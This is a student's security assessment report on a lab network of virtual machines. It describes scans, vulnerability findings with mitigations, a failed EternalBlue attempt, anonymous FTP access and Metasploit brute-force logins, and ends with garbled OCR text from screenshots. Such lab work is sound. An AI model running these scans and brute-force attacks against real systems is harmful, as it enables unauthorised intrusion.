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This assignment is based on a pre-configured enterprise network environment provided in OVA format, representing SOAC Inc., which operates across two locations: Swansea and London. The sites are connected through a site-to-site VPN and organised within an Active Directory domain (Swansea.acca) for centralised management.
The Swansea site includes a Windows Server 2022 Domain Controller and a Windows 10 client, while the London site consists of a Debian server and client, both joined to the domain. This setup reflects a typical hybrid network environment combining Windows and Linux systems.
The aim of this assignment is to analyse and improve the security of the existing infrastructure using the provided virtual machines. It also explores both Red Team (attack) and Blue Team (defence) perspectives to better understand how vulnerabilities can be identified and mitigated in a real-world scenario.







Import the Virtual Machines
[image: ]
(Figure 1)
[image: ]
(Figure 2)
In the figure 1  the virtual machines were imported into VirtualBox from the provided OVA file. This process automatically configured each system with the predefined settings, including hardware specifications and network parameters. As a result, the virtual environment was successfully prepared and ready for use
After importing (figure 2)  the OVA file into VirtualBox, all virtual machines were successfully loaded and are now visible within the VirtualBox Manager. Each system appears with its pre-configured settings, indicating that the operating systems are correctly installed and ready for use. This confirms that the virtual environment is fully prepared for further configuration and testing

[bookmark: _Toc226617142]Network Test S-DC
IPCONFIG /ALL
[image: ]
(Figure 3)
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(Figure 4)
The IPCONFIG /ALL command was used to display the full network configuration of the S-DC server. The output shows important details such as the IP address, subnet mask, default gateway, DNS server, and network adapter information. This command confirms that the server is correctly configured according to the provided network topology.

Ping from S-DC1 to ClientS1 (192.168.1.10)
[image: ]
(Figure 5)
The ping 192.168.1.10 command was executed to test connectivity between the S-DC1 server and the client with the IP address 192.168.1.10. The successful replies confirm that the network communication between the two devices is working correctly within the same network.

Ping From S-DC1 to L-CD (192.168.2.1)[image: ]
(Figure 6)
The ping 192.168.2.1 command was used to verify connectivity between the S-DC server and the device located on the remote network. The successful ping responses confirm that the site-to-site VPN connection between the Swansea and London networks is functioning correctly.


Ping from S-DC1 to Linux Debian (192.168.2.10)
[image: ] 
(figure 7)
The ping 192.168.2.10 command was executed from the S-DC server to test connectivity with the host at IP address 192.168.2.10. The successful replies confirm that the S-DC server can communicate with the device on the remote network. This also indicates that the site-to-site VPN connection between the Swansea and London networks is functioning correctly.










L-CD Network Test (Ip a)
[image: ]
(figure 8)
The Ip a command was used to display the network configuration of the L-CD Debian server. This command shows the available network interfaces and their assigned IP addresses. The output confirms that the server has the correct IP address according to the network topology provided for the assignment.









Ping from L-CD to ClientS1 (192.168.1.10)
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(figure 9)
The ping 192.168.1.10 command was used to test network connectivity between the L-CD server and the host with the IP address 192.168.1.10. The successful replies indicate that the L-CD server can communicate with the device located on the Swansea network through the VPN connection	

Ping from L-CD to S-DC1 (192.168.1.1)[image: ]
(figure10)
The ping 192.168.1.1 command was executed to verify connectivity between the L-CD server and the network gateway. The successful responses confirm that the server can reach the gateway and that the routing configuration is functioning correctly.



Ping from L-DC to Linux Debian (192.168.2.10)
[image: ]
(figure 11)
The ping 192.168.2.10 command was used to test connectivity with another host on the London network. The successful replies confirm that communication within the local network is working correctly.
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KALI Linux IP address configuration
[image: ]
(figure 11)
The ip a command was used to display the network configuration of the Kali Linux system. Two IP addresses were assigned to enable communication across both network segments. The address 192.168.2.50/24 was configured to allow connectivity with the Linux-based systems in the London network, while 192.168.1.50/24 was assigned to communicate with the Windows-based systems in the Swansea network.
This dual network configuration ensures that the Kali Linux machine can access and interact with hosts across both subnets, enabling comprehensive network testing and security assessment.








Ping from Kali to S-DC1 (192.168.1.1)
[image: ]
(figure 12)
The ping 192.168.1.1 command was executed from the Kali Linux system to verify network connectivity with the Windows server located in the Swansea network. The successful responses confirm that the target host is reachable and that communication within the network is functioning correctly.                                                                                                                                                                                               This step is essential before performing any security testing, as it ensures that the target system can be accessed from the attacker’s machine.

Ping from Kali to ClientS1 (192.168.1.10)
[image: ]
(figure 13)
The ping 192.168.1.10 command was executed from the Kali Linux system to test connectivity with the Windows client in the Swansea network. The successful replies confirm that the client machine is reachable and that communication between the systems is functioning correctly.                                     This step ensures that the target host is accessible before proceeding with further security testing and exploitation attempts.



Ping from Kali to L-CD (192.168.2.1)
[image: ]
(Figure 14)
The ping 192.168.2.1 command was executed from the Kali Linux system to verify connectivity with the Debian server located in the London network. The successful responses confirm that the Kali machine can communicate across network segments via the site-to-site VPN connection.
This demonstrates that the network infrastructure allows access between the Swansea and London locations, which is essential for performing a comprehensive security assessment.







Ping from Kali to Debian (192.168.2.10)
[image: ]
(figure 15)
The ping 192.168.2.10 command was executed from the Kali Linux system to verify connectivity with the Debian client located in the London network. The successful replies confirm that the host is reachable and that communication across the network is functioning correctly.
This further demonstrates that the site-to-site VPN connection enables full communication between hosts in both Swansea and London networks, allowing comprehensive testing of all systems.
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Gather information
Nmap scanning 192.168.2.1
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(figure 16)
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(figure 17)
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(figure 18)
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(figure 19)
An advanced Nmap scan (-A) was performed on the target host 192.168.2.1 to identify open ports, running services, and operating system details [1]. The scan results indicate that the target system is a Linux-based server (Debian), exposing services such as SSH and other network services typically associated with Linux environments.
The scan also performed OS detection, version detection, and script scanning, providing detailed information about the system configuration. This information is essential for identifying potential vulnerabilities and determining appropriate attack strategies.

Nessus scan 192.168.2.1
[image: ]
(figure 20)
A vulnerability assessment was conducted on the Debian server (192.168.2.1) using Nessus Essentials [3]. The scan results indicate that no critical, high, or medium severity vulnerabilities were identified on the target system. Instead, the findings are classified as informational (INFO), which provide details about system configuration, detected services, and general system characteristics.
The reported entries, such as SSH configuration, OS identification, and service detection, are not vulnerabilities but rather useful information that can assist in further analysis. This suggests that the system is relatively secure and does not expose easily exploitable weaknesses.
The absence of significant vulnerabilities may indicate that the system is properly configured, regularly updated, or hardened against common attacks. This step demonstrates the importance of automated vulnerability scanning as part of a comprehensive security assessment.







Nmap scan 192.168.2.10
[image: ]
(figure 21)
An advanced Nmap scan (-A) was performed on the Debian client (192.168.2.10) to identify open ports, running services, and operating system details. The results show that the host is active and running a Linux-based operating system, specifically Debian.
The scan identified key open ports, including port 22 (SSH) and port 80 (HTTP). The SSH service is running OpenSSH, which may be a potential target for authentication-based attacks such as brute force. Additionally, the presence of an Apache web server on port 80 indicates that the system is hosting a web service, which could be further analysed for web-based vulnerabilities.
OS detection and service version enumeration provided further insight into the system configuration, which is essential for planning targeted attacks. This step represents the enumeration phase, where valuable information about the target system is collected to identify possible attack vectors.











Nessus Scan 192.168.2.10
[image: ]
(figure 22)
A vulnerability scan was performed on the Debian client (192.168.2.10) using Nessus Essentials. Unlike the previous scan on the server, this assessment identified several vulnerabilities with different severity levels, including medium and low risks.
One of the key findings is the presence of a medium severity vulnerability related to IP forwarding being enabled, which could potentially allow the system to route traffic and be misused in network-based attacks [7]. Additionally, a low severity vulnerability was identified involving ICMP timestamp requests, which may expose system time information and assist attackers in reconnaissance activities.
The scan also reported multiple informational findings related to HTTP and SSH services, confirming the presence of an Apache web server and SSH access. These services represent potential entry points that could be targeted in further exploitation attempts.
This scan demonstrates that the Debian client has a larger attack surface compared to the server and may require additional hardening to mitigate identified risks.





Nmap scan 192.168.1.1
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(figure 24)
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(figure 26)
In this phase, an advanced scan was performed using the nmap -A command against the host 192.168.1.1, which corresponds to the Windows Server in the network.
The -A option enabled detailed information gathering, including operating system detection, service version detection, NSE scripting, and network traceroute.
From the results, the target system was identified as a Windows Server 2022 Datacenter, also functioning as a Domain Controller for the swansea.acca domain. Several open ports were discovered, including:
· 80 (HTTP) → Microsoft IIS web service 
· 443 (HTTPS) → secure web service 
· 135 (RPC) → Windows Remote Procedure Call 
· 139 and 445 (SMB) → file sharing and network services 
· 389 and 3268 (LDAP) → Active Directory services 
· 88 (Kerberos) → domain authentication 
The presence of these services confirms the role of the server as a Domain Controller, responsible for managing users and network resources.
Additionally, NSE scripts provided further information such as domain name, host details, and SMB security configurations (e.g., message signing enabled), which are useful for potential further exploitation or analysis.

Nessus Scan 192.168.1.1
[image: ] 
(figure 27)
The Nessus scan of 192.168.1.1 shows that the host (a Windows Server 2022 machine) exposes several services and has a relatively large number of findings (43 in total).
Most of the results are informational, meaning they mainly describe detected services such as SMB, HTTP, and TLS, confirming what was already observed with Nmap.
There are also some medium and low severity vulnerabilities, mainly related to:
· Enabled network services (like echo or QOTD), which are outdated and generally unnecessary 
· Configuration issues (such as IP forwarding enabled) 
· Weaknesses in SSL/TLS configuration [5]
The scan suggests that the server is properly reachable and service-rich, but also not fully hardened, since some legacy services and non-optimal configurations are still enabled, increasing the potential attack surface.

Nmap Scan 192.168.1.10
[image: ]
(figure 28)
[image: ]
(figure 28)
The Nmap scan of 192.168.1.10 shows that the host is up and running a Windows operating system, with only a few ports open.
The main open ports are:
· 135 (RPC) 
· 139 (NetBIOS) 
· 445 (SMB) 
These are standard services for a Windows machine, especially in a network environment where file sharing and communication with other systems are required.
The scan also indicates that SMB signing is enabled but not required, which could represent a minor security weakness, as it may allow certain network-based attacks.

Nessus Scan 192.168.1.10
[image: ]
(figure 29)
The Nessus scan of 192.168.1.10 shows a relatively small number of findings (16), most of which are just informational and simply describe the services running on the machine.
There is one medium severity issue related to SMB signing not being required, which could make the system vulnerable to certain network attacks, such as man-in-the-middle attacks.
There is also a low severity issue (ICMP timestamp disclosure), which only reveals minor system information and is not particularly critical.
Overall, the machine appears to be a standard Windows client, with a limited attack surface compared to the server

[bookmark: _Toc226617146]Assess the vulnerabilities

In this phase of the project, both automated and manual vulnerability assessment techniques were used to identify potential security weaknesses within the network [9]. Tools such as Nmap and Nessus were employed to gather information about exposed services, system configurations, and possible vulnerabilities.
The identified issues were then analysed and categorised based on their severity levels (High, Medium, and Low), to better understand their potential impact on the overall security of the network. This classification helps prioritise which vulnerabilities should be addressed first.
In the following sections, a selection of vulnerabilities from each severity level will be discussed and demonstrated.
Low Severity
[image: ]
(figure 30)
The first low severity finding relates to DHCP Server Detection. This indicates that the scanner was able to identify the DHCP server and retrieve basic network information such as IP addressing details.
Although this is not a direct vulnerability, it shows that network information is exposed and could be used by an attacker to better understand the network. For this reason, it is recommended to limit unnecessary information disclosure through proper network configuration.




Low Severity
[image: ]
(figure 31)
This low severity vulnerability is again related to ICMP Timestamp requests. It shows that the system is responding to these requests by sending back its current time, although in this case the timestamp returned may not be perfectly accurate.
In practice, this still means that an external user can gather timing information from the machine. While this doesn’t pose a direct threat, it can be useful during the reconnaissance phase, helping an attacker better understand the system and potentially align certain types of attacks.
Overall, the risk remains low because it doesn’t allow access or control over the system. However, as with similar findings, it’s generally a good idea to disable unnecessary ICMP responses to avoid exposing even small pieces of information.
To mitigate this issue, ICMP timestamp requests and replies should be disabled or filtered at the firewall level. This prevents the system from responding to such requests and avoids exposing unnecessary time-related information to external sources.








Medium Severity
[image: ]
(figure 32)
This finding shows that the server is still supporting TLS 1.0, which is an outdated encryption protocol. While it was once widely used to secure communications, it is now considered weak due to several known cryptographic vulnerabilities.
In practice, this means that encrypted connections to the server could potentially be less secure than expected, especially if an attacker is able to exploit weaknesses in the older protocol.
Although the system may also support newer versions of TLS, keeping TLS 1.0 enabled is not recommended anymore. Modern systems and browsers have moved to more secure versions like TLS 1.2 and 1.3.
Mitigation:
Disable TLS 1.0 on the server and ensure that only secure versions such as TLS 1.2 or TLS 1.3 are enabled.









Medium Severity
[image: ]
(figure 33)
This finding shows that IP forwarding is enabled on the host, meaning the system can route traffic between networks. While not critical on its own, this can increase risk if the machine is compromised, as it could be used for lateral movement within the network.
Mitigation: If not required, IP forwarding should be disabled to reduce the attack surface.














High Severity
[image: ]
(figure 34)
This finding shows that the server still supports weak SSL/TLS cipher suites, such as 3DES, which are associated with the SWEET32 attack. These outdated encryption methods are no longer secure and may allow attackers to partially decrypt sensitive data over time. For this reason, Nessus classifies this as a high severity issue.
Mitigation: Disable weak ciphers like 3DES and enforce strong protocols such as TLS 1.2 or TLS 1.3 with secure cipher suites.
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Eternalblue on windows 10
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(figure 36)
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(figure 37)
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(figure 38)
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(figure 39)
This sequence shows an attempt to exploit the target machine (192.168.1.10) using the well-known MS17-010 (EternalBlue) vulnerability through Metasploit [2].
First, the Nmap scan confirms that port 445 (SMB) is open, which is required for this type of attack. After that, Metasploit is used to search for relevant modules, and the ms17_010_eternalblue exploit is selected. The target IP is configured correctly, and the module options are reviewed before launching the attack.
When the exploit is executed, the framework attempts to connect to the SMB service and gain access. However, the result shows:
· “Exploit aborted due to failure: not vulnerable” 
· and an SMB login error during the connection attempt 
 In simple terms, this means that the attack failed because the target system is not vulnerable to MS17-010. This is usually the case when the system has been properly patched or is running a version of Windows that is not affected by this exploit.
Overall, this is a positive result from a security perspective: even though the SMB service is exposed, the critical EternalBlue vulnerability has been mitigated, preventing remote code execution.







FTP Anonymous Access – Attack DemonstrationTop of Form

Bottom of Form
[image: ][image: ][image: ][image: ][image: ]
[image: ]
(figure 45)
In this phase, it’s clear that the system is vulnerable due to a misconfigured FTP service [6]. The attacker discovers that port 21 is open and can log in without credentials using anonymous access. Once inside, they can freely browse and download files from the server without any restrictions.
This leads to a serious issue: information that should be protected (such as keys or internal data) is exposed and accessible to anyone. Essentially, there is no access control or data protection in place.
In short, the vulnerability is not due to a complex exploit, but rather a poor configuration—an exposed service with no security, making data leakage very easy.

Metasploit Brute force attack Debian (192.168.2.1)
[image: ]
[image: ]
A brute force attack was performed using the Metasploit Framework against the SSH  service on the Debian server (192.168.2.1) the SSH login module was used to test multiple password combination for the user account, the result show that the system was vulnerable to brute force attacks, this demonstrate the importance of strong authentication mechanism and secure password policies [4], [8].




Metasploit Brute force attack Windows (192.168.1.1)
[image: ]
(figure 48)
A brute force attack was performed against the Windows Server (192.168.1.1) using the Metasploit Framework. The smb_login module was used to test multiple password combinations against the Administrator account via the SMB service.
The results show that the system was vulnerable to brute force attacks. This indicates that weak credentials may be present.
This test highlights the importance of enforcing strong password policies and account lockout mechanisms.
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1. FTP Anonymous Access (HIGH)
The FTP service was found to allow anonymous access, which exposes sensitive data. To mitigate this issue, anonymous login should be disabled, and proper authentication mechanisms should be enforced. Additionally, secure alternatives such as SFTP should be used instead of FTP.


2. Weak TLS / TLS 1.0 (MEDIUM)
The system supports outdated encryption protocols such as TLS 1.0, which are no longer secure. This can be mitigated by disabling older protocols and enforcing modern standards such as TLS 1.2 or TLS 1.3 to ensure secure communication.

3. Weak Ciphers (HIGH)
The presence of weak cryptographic ciphers increases the risk of data exposure. To mitigate this, only strong and secure cipher suites should be enabled, and insecure ones should be removed from the server configuration.

4. IP Forwarding Enabled (MEDIUM)
IP forwarding allows the system to route traffic, which could be abused by an attacker for lateral movement. This should be disabled unless strictly required for network functionality.

5. ICMP Timestamp (LOW)
The system responds to ICMP timestamp requests, which may expose system information. This can be mitigated by disabling unnecessary ICMP responses or filtering them through firewall rules.

6. SMB / Authentication Weakness (LOW/MEDIUM)
Weak authentication configurations, such as SMB signing not being required, can expose the system to network attacks. Enforcing SMB signing and strong authentication policies can significantly improve security.
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c:\Users\aduinistratorsping 192.168.2.18

Pinging 152.168.2.10 with 32 bytes of data:
Reply from 192.168.2.10: bytes-32 time-2ms
Valid_1ft forever preferred_Ift forever Reply from 192.168.2.10: bytes-32 time-2ms

[Reply from 192.168.2.10: bytes-32 time-2ns TTL-63
[Reply from 192.168.2.10: bytes-32 time-ims TTL-63

2 enpos3: <BROADCAST,MULTICAST, OYNANIC, UP, LOWER_UP> mtu 1500 qgisc fq_codel =

te UP group default glen 1000
Link/ether 08:00:27:38:13:89 brd FF:FFiFFifFiFr:fF
inet 10.6.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute enpos3
Valid 17t saps2sec preferred_1ft s4pszsec
inets fd17:625c:037:2:79f:34c3:628b: ee2/64 scope global temporary dynasi

Ping statistics for 192,168.2.10
Packets: Sent = 4, Received = 4, Lost = @ (&% loss),
pproxinate round trip times in milli-seconds
Minisum = 1ms, Maximum = Zas, Average = ims

vali_1ft sss3Ssec preferred 1ft 1393556 S e
inets. 1417 625c:f037:2/30012711:1e35:1389/64 scope global dynansc ang
noprefixroute
wali 11t assassec prefessed 1t 1303556
ineto.fedd: 208, 2711 033:1389/64 scope Tink noprefixroute
valia 11t forever prefersed 1t farever
35 enpo1e: CBROADCAST WILTICAST DIANIC, U, LOVER_UP> atu 1509 Gisc 1a_codel
ke U group default gien 1000
Linklether 08:00:27:18:67:83 brd TESHF. 16050118
Valia 11t forever prsfersed 1t forever
inet 169.254.56.245/16 brd 169.254.255.255 scope g
valiq 11t forever prafezied 1t foreves
inets fes0::a00:2711: fel8:e783/64 scope Tink
“alid 11t forever preferted 17t forever
s thecshenitheesh: 5 |
-

bal enpesio

aoxrgsmos

N
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Code
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Clear
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londonlogin

L-CD logil
Passuor
Linux L-CD 6.12.48+deb13-and6d #1 SMP PREEMPT_DYNAMIC Debian 6.12.48-1 (2025-03-20) xB6_64

The programs included with the Debian GNU/Linux system are free sof tuare;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/x/capyright.

Debian GNU/Linux comes with ABSOLUTELY NO HARRANTY, to the extent
pernitted by applicable law.
londonlogineL-CD:"$ ifconfig
-bash: ifconfig: command not found
londonlogineL-CD:"$ ip a
1: lo: <LOOPBACK,UP,LOMER_UP> mtu 65536 gdisc nogueue state UNKNOWN group default olen 1000
Link/loophack 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_Lft forever preferred_lft forever
ineté /128 scope host noprefixroute
valid_Lft forever preferred_lft forever
+ enpos3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 qdisc fo_codel state UP group default glen 1800
Link/ether 08:00:27:27:68:03 brd ff:ff:ff:iffi:f
altname enxo800272768c3
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute enpes3
valid_Lft 86189sec preferred_lft 75383sec
dnete oo /64 scope global dynamic mngtmpaddr noprefixroute
valid_Ift 86184sec preferred_lft 14184sec
inete oo 764 scope link
valid_Lft forever preferred_lft forever
: enposs: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 gdisc fo_codel state UP group default glen 100
i Link/ether 05:00 50:d4 brd ffiffiffiffaifof
B altname enx0800273f3004
inet 192.168.56.105/24 brd 192.168.56.255 scope global dunamic noprefixroute enpass
valid_Lft 338sec preferred_lft 315sec
inete oo ocoooooooool/ed scope link
valid_Lft forever preferred_lft forever
+ enpos3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 qdisc fo_codel state UP group default glen 1800
Link/ether 08:00:27:a9:10:17 brd ff:ff:ff:ifff:f
altname enx080027a31017
inet 20.6.0.2/3 brd 20.9.0.3 scope global enpos
valid_Lft forever preferred_lft forever
inete -~ oo o0 /64 scope link proto kernel 11
valid_Lft forever preferred_lft forever
: enposio: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 odisc fo_codel state U group default glen 1008
Link/ether 05:00 a7:15 brd fReffoffaffaffoff
altname enxo8002739a715
inet 192.168.2.1724 brd 192.165.2.255 scope global enposie
valid_Lft forever preferred_lft forever
ineté -~ oo oo /64 scope link proto kernel L1
valid_Ift forever preferred_lft forever
londonloginel -CD:"$ _

- o X
B E s MOMEN @8 R OsTRY
AN Bo®

19:10
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Req/cleEin;
Microsoft Windows [Version 10.6.19645.2006]
(c) Microsoft Corporation. All rights reserved.
[C: \Users\Admin>ipconfig

Windows TP Configuration

Ethernet adapter Intswa:

Connection-specific DNS Suffix
Link-local IPv6 Address .

1Pv4 Address.

Subnet Mask .

Default Gateway .

Fe80::2993:ab3:8667:d7a%4
192.168.1.10
255.255.255.0

192.168.1.1

lC: \Users\Admin>

&
Mostly cloudy

Q Search

File Macchina

Visualizza  Inserimento  Disposi

O L-D [1n esecuzione] - Oracle VirtualBox

londonlogingl-CD:™$ ping 192.168.1.10

[168.1.10

from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.
from 192.

[51+ Stopped

LondonloginL -CD: ™

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

&3

.10
.10:
.10
.10
.10
.10
.10
.10
.10
.10:
.10
.10
.10
.10
.10:

(192.168.1.10) 56(84) butes of data.
168.
168.

tt1=127 tim

etms

icmp_seg=z ttl=127 time=3.15 ms

tt1=127 tim

icmp_sen=6 ttl=127 time=2.
tt1=127 tim

iomp_seq=15 tt1=127 time=3.

ping 192.168.1.18

23 ms
.09 ms
99 ms
27 ms
.03 ms
46 ms
.15 ms

23 ms

13 ms
32 ms
89 ms
43 ms

74 ms

Aiuto

BEFsmOEs @B cr sk |

~

»

Sl

< @

16:28
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fram
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fram
fram
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[3]+ Stopped
londonloginel -cD: s _

192.
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
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192,
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192,
192,
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192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
192,
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168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
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168.
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.1

iindows IP Configuration

Ethernet adapter Internet:

Connection-specific DNS Suffix . :
1Pv6 Address. . . . . . . .. ..: fdl7:625C:f037:
Link-local IPv6 Address . . . . . : fe89::e147:b674:2231:8284%7
IPv4 Address. . . . . . . .. ..:10.0.2.15
Subnet Mask . . . . . ......: 255.255.255.0
Default Gateway . . . . . . . . . : fe80::2%7

10.6.2.2

[Ethernet adapter Intswa:

Connection-specific DNS Suffix .
Link-local IPv6 Address . . . . . : fe89::2e41:7223:e160:65ab%13
IPv4 Address. . . . . . . .. . .: 192.168.1.1

Subnet Mask . . . . . . .....: 255.255.255.0

Default Gateway .

Ethernet adapter External:

Connection-specific DNS Suffix . :
Link-local TPv6 Address . . . . . : fege::f59e:99d1:3983:cF26%15
IPv4 Address. . . . . . . ... .: 20.0.6.1

Subnet Mask . . . . . ......: 255255.255.252

Default Gateway .

: \Users\Administrator>

time=1.09 ms
time=1.41

1

ping 192.168.1.1

H@me DS COmE =D

19:36

TR P~
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BOXIF s MEEYN @BICTR OESTRY
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Fle  Macchina  Visualizza  Inserimento  Dispositvi  Aiuto File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

Debian GNU/Linux 13 L-CD ttyl

londonlogin

Linux L-CD 6.12.48+deb13-and6d #1 SMP PREEMPT_DYNAMIC Debian 6.12.48-1 (2025-03-20) xB6_64
The programs included with the Debian GNU/Linux system are free sof tuare;

the exact distribution terms for each program are described in the
individual files in /usr/share/doc/x/capyright.

inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
inet6 ::1/128 scope host noprefixroute nernitted by applicable lau.
valid_Ift forever preferred_1ft forever londonloginGL-CD: ™% ping 192.168.2.10

2: enp@s3: <BROADCAST ,MULTICAST,DYNAMIC,UP,LOWER_UP> mtu 1500 qdisc fq_codel sta -168.2.10 (152.168.2.10) S6(84) bytes of data.
‘e UP group default qlen 1000 from 192.168.2.16: icmo_seg=1 ttl=64 time=1.47 ms

Link/ether 08:00:27:38:13:89 brd FF:FF:Ff:Ff:Ff:F Irom s n domsenm oo
inet 10.0.2.15/24 brd 10.0.2.255 scope global enpds3 from 192.168.2. 10+ icm_oe 34 m
valid_1ft forever preferred 1ft forever from 12.168.2. 107 icmp_se 383 ms
inete d17:625¢: f037:2:a00:27FF: fe3s:1380/64 scope global dynamic mngtmpadds] from 152.168.2.10¢ icmp_se 0 ms
from 192.168.2. 167 icmp_se &1 ms

valid_1ft 86144sec preferred_1ft 14144sec [11+ Stopped ping 192.168.2.10
inet6 fes0::a00:27ff:fe38:1389/64 scope link londonloginel -CD: ™% _
valid_1ft forever preferred_1ft forever
3: enp@s1@: <BROADCAST,MULTICAST,DYNAMIC,UP,LOWER_UP> mtu 1500 qdisc fq_codel st
ate UP group default qlen 1000
link/ether 08:00:27:63:0d:1e bxd ff:ff:ff:ff:ff:ff
inet 169.254.224.231/16 brd 169.254.255.255 scope global enp@s10
valid_1ft forever preferred_1ft forever
inet 192.168.2.10/24 scope global enpdsi®
valid_1ft forever preferred_1ft forever
inet6 fe8@::a00:27ff:fe63:dle/64 scope link
valid_1ft forever preferred_1ft forever
nitheeshenitheesh:-s [|

B¥EE s OSSN @8 cr sy

11:17
12/03/2026
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Applicazioni ~  Posizioni v Terminale v mer 15:08

root@osboxes: ~

File Modifica Aiuto
valid_Lft forever preferred Lft forever
2: etho: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP gr|
oup default qlen 1000

link/ether ©8:00:27:a4:7a:cl brd ff:ff:ff:ff:ff:ff

inet 10.6.2.15/24 brd 10.6.2.255 scope global dynamic noprefixroute etho

valid_Lft 86386sec preferred Lft 86386sec
inet6 fd17:625c:f037:2:bcab:8cd0:5067:6ald/64 scope global temporary dynamic

valid 1ft 86072sec preferred 1ft 14072sec
inet6 fd17:625c:f037:2:a00:27f:fead:7ac1/64 scope global dynamic mngtmpaddr
noprefixroute
valid 1ft 86072sec preferred 1ft 14072sec
inet6 fe80::a00:27ff:fead:7acl/64 scope link noprefixroute
valid 1ft forever preferred lft forever
3: ethl: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP gr
oup default qlen 1000
link/ether 08:00:27:d0:00:5b brd ff:ff:ff:ff:ff:ff
inet 192.168.2.50/24 scope global ethl
valid 1ft forever preferred 1ft forever
inet 192.168.1.50/24 scope global ethl
valid 1ft forever preferred 1ft forever
inet6 fe8o::a00:27ff:fed0:5b/64 scope link
valid 1ft forever preferred 1ft forever
root@osboxes:

*ywmz=l "©ON

ﬂg;ﬁdy B (Q Search m omE® =D
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Posizioni ~ ] Terminale ~

rootaosboxes
64 bytes fron
63 bytes from
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64 bytes from
63 bytes from
z

[1)+ Fermato
rootaosboxes

50010145

t@osbores:

102
192
192

(152
168
168
168

1

1
1

1
1
1

1) 56(84) bytes of
icmp_seq=1 ttl=128

icmp seq-4 ttl-128
icmp_seq=s tt1-128

ttl-12s
iemp seqes tTi-128

ping 192.168.1.1

data
tine=o
timea1
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*9az0 "ON

Viualiza  mserinento  Disposiv  Ato Flo  Macchine  Vislza mserimeto  Dispost Ao
Posizioni ~ ] Terminale ~ sab11:29 B s o~

Terminale
Foottoshoxes:~# ping 192.168.1.10
PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data

64 bytes from 192.165.1.10: icnp 69 ms D D S e—
64 bytes from 192.168.1.10: icnp seqe2 ttl=128 827 ms (<) Microsoft Corporation. ALl rights reserved
64 bytes from 192.168.1.10: icnp seqe3 trl=128 800 ms

64 bytes from 192.168.1.10: icnp seqed ttle12s 900 ms e \windous \systems2> tpconfis

64 bytes from 192.168.1.10: icnp_seq=5 tt1=128 tine=0.757 ms

Jisndows 1P configu

o
[1)+ Fermato ping 192.168.1.10
rootaosboxes:~# I}

Connection-speciFic ONS Suffix

Link-local Tve Addrass feso. :6de3: avac:£327:5020%4
Default Gateway 3 102.2681.1

L BB~ @

L
o

BOWS S MBS 60 s

BOWS S MBEN 68 s

Q searen L] O m@E =D AR T DI S
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root@osboxes

PING 192
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fron
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Inserimento

& Terminate -

Disposti  Auto

sab12:36

# ping 192.168.2.1

192

192

192

192
192.

*

168.2.1 (192.
165
168

168

168.
168.

168
ti=6s
trl=6s

tel-64
tti=6s

ping 192.168.2.1

bytes of data.
tine=1.53 ms
tine=1.95 ms

time=0.988 ms
tine=1.17 ms
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Jebian GNU/Linux 13 L-CD th

+ londonlogin

2.46+deh13-and64 #1 SHP PREEMPT_OVNAMIC Debian 6.12.43-1

e free softuare:

Deblan GNU/Linux susten
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Jeblan GNU/Linux con to the extent

mtu 65536 gdisc nogueus
Link/oopback. 20:00:60:00:02:00 hrd 60:00:0:00:00: b6
inet 12700, 178 scape hast lo
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Faie brd 1

9 adise f
2otf

=
brd 10.0.2.255 s
isesec preferred_
“784 scape global curan
t1a1s3sec
764 scope link
LIft forever preferred_Lft forever
CERDADCAST,MULTICAST, UP LOKER_UP> ntu 1500 aulsc fo_codel state
Link/ether 28:00:37:76:52:85 bra {1271+ 1:11:71:(1
alinane enxasoez77aszee
Inet 152, 6056, 103,24 brd 157 169.56.255
valig Ift 3Sasec preferred it zescec
inets /64 Scope 1
Valig_Lft forever prefenred L1t forever
RORDCAST, HULTICAST, UP,LOHER_UP> ity
ether 03:00:37:00:11:03 b {1271+ 12111
oozToct {08
/2 b 0. scope global enposd
Ift forever preferced_Lft forever
64 scope |
LIt forever preferred_Lit forever
BROADCAST HUL TICAST, UF, LOKER_UF
;05557 brd 117
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Lir i
altnane en
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ValIa- it forever preferred i1 forever
T proto kernel 11
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Applcazion ~__posizioni ~ ] Terminale ~ gio06:44

osboxes: -

rootdoshoxes:—# ping 192.168.2.1

PING 192.168.2.1 (192.168.2.1) 56(34) bytes of data
~z

[1]+ Fermato ping 192.168.2.1
rootgoshoxes:~# ping 192.168.1.1

PING 192.168.1.1 (132.168.1.1) 56(84) bytes of data
64 bytes from 192.168.1.1:
64 bytes from 192.168.1
64 bytes from 192.168.1.1
64 bytes from 192.168.1

M G cermaro

ping 192.168.1.1
root@osboxes:~# nmap 192.168.1.1 -A

Starting Nmap 7.80 ( https://nmap.org ) at 2026-63-26 06:31 EDT

Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 99.48% done; ETC: 6:31 (0:00:03 remaining)
Stats: 0:00:35 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 96.48% done; ETC: 06:32 (0:00:03 remaining)
Verbosity Increased to 1
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 99.48% done; ETC: 6:32 (0:00:07 remaining)
Completed Service scan at 06:34, 156.335 elapsed (21 services on 1 host)
